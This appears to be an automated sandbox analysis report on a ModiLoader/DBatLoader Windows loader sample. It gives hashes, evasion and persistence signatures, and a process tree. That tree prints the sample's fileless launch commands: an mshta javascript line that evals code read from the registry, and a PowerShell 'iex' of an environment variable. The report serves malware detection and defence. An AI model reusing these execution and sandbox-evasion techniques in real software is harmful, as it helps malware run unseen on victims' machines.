Analysis
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max time kernel
150s -
max time network
154s -
platform
windows7_x64 -
resource
win7-20220901-en -
resource tags
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submitted
04/10/2022, 01:27
General
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Target
b4b2e6ec0267e86d67f98579945dab90f08608d6248db8340b6a95ae86813226.exe
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Size
350KB
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MD5
33e4035e409d8b1f24f6dbb42fbac637
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SHA1
b1f91d896bf59b434cc164ea8dd440a82edbb543
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SHA256
b4b2e6ec0267e86d67f98579945dab90f08608d6248db8340b6a95ae86813226
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SHA512
7a68fe0be6e4ff29de7d9e563ddd3506d30a84fc76e1b57cc382db9043d54b44a5d61ad90352f1e8a957bc4b707e89584711ebfcbee926eed5d6a7df4002e08d
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SSDEEP
6144:vZFPzNJtUTidCOKQzHaHXrFnk8iEgxeBgOCF+dg384dyzKX/GUaokGd:vvPzNJtUTidCMa3Rnk8iHxeBcggdszKh
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
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Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
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Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
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ModiLoader Second Stage 10 IoCs
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Adds policy Run key to start application 2 TTPs 2 IoCs
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Looks for VMWare Tools registry key 2 TTPs 1 IoCs
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Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
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Deletes itself 1 IoCs
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Adds Run key to start application 2 TTPs 2 IoCs
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Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
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Drops file in System32 directory 1 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Modifies Internet Explorer settings 1 TTPs 3 IoCs
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Suspicious behavior: EnumeratesProcesses 64 IoCs
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Suspicious behavior: MapViewOfSection 6 IoCs
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Suspicious use of AdjustPrivilegeToken 1 IoCs
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Suspicious use of WriteProcessMemory 18 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\b4b2e6ec0267e86d67f98579945dab90f08608d6248db8340b6a95ae86813226.exe"C:\Users\Admin\AppData\Local\Temp\b4b2e6ec0267e86d67f98579945dab90f08608d6248db8340b6a95ae86813226.exe"1⤵
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C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:tGQAo5uSg8="Xl5";rq86=new%20ActiveXObject("WScript.Shell");N5D8JKfE="K9k9hR";UVB93f=rq86.RegRead("HKLM\\software\\Wow6432Node\\PwD90ptROS\\TrqswyU");fngXlte1="Fbq";eval(UVB93f);H3PKqXh="NNVxA";1⤵
- Process spawned unexpected child process
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:nndvwkya2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VirtualBox drivers on disk
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
8KB
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Filesize
768KB
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Filesize
160KB
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Filesize
372KB
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Filesize
768KB
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Filesize
768KB
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Filesize
8KB
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Filesize
768KB
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Filesize
64KB
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Filesize
5.7MB
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Filesize
5.7MB
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Filesize
5.7MB
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Filesize
768KB
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Filesize
768KB
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Filesize
768KB
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Filesize
28KB
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Filesize
768KB
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Filesize
768KB
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Filesize
28KB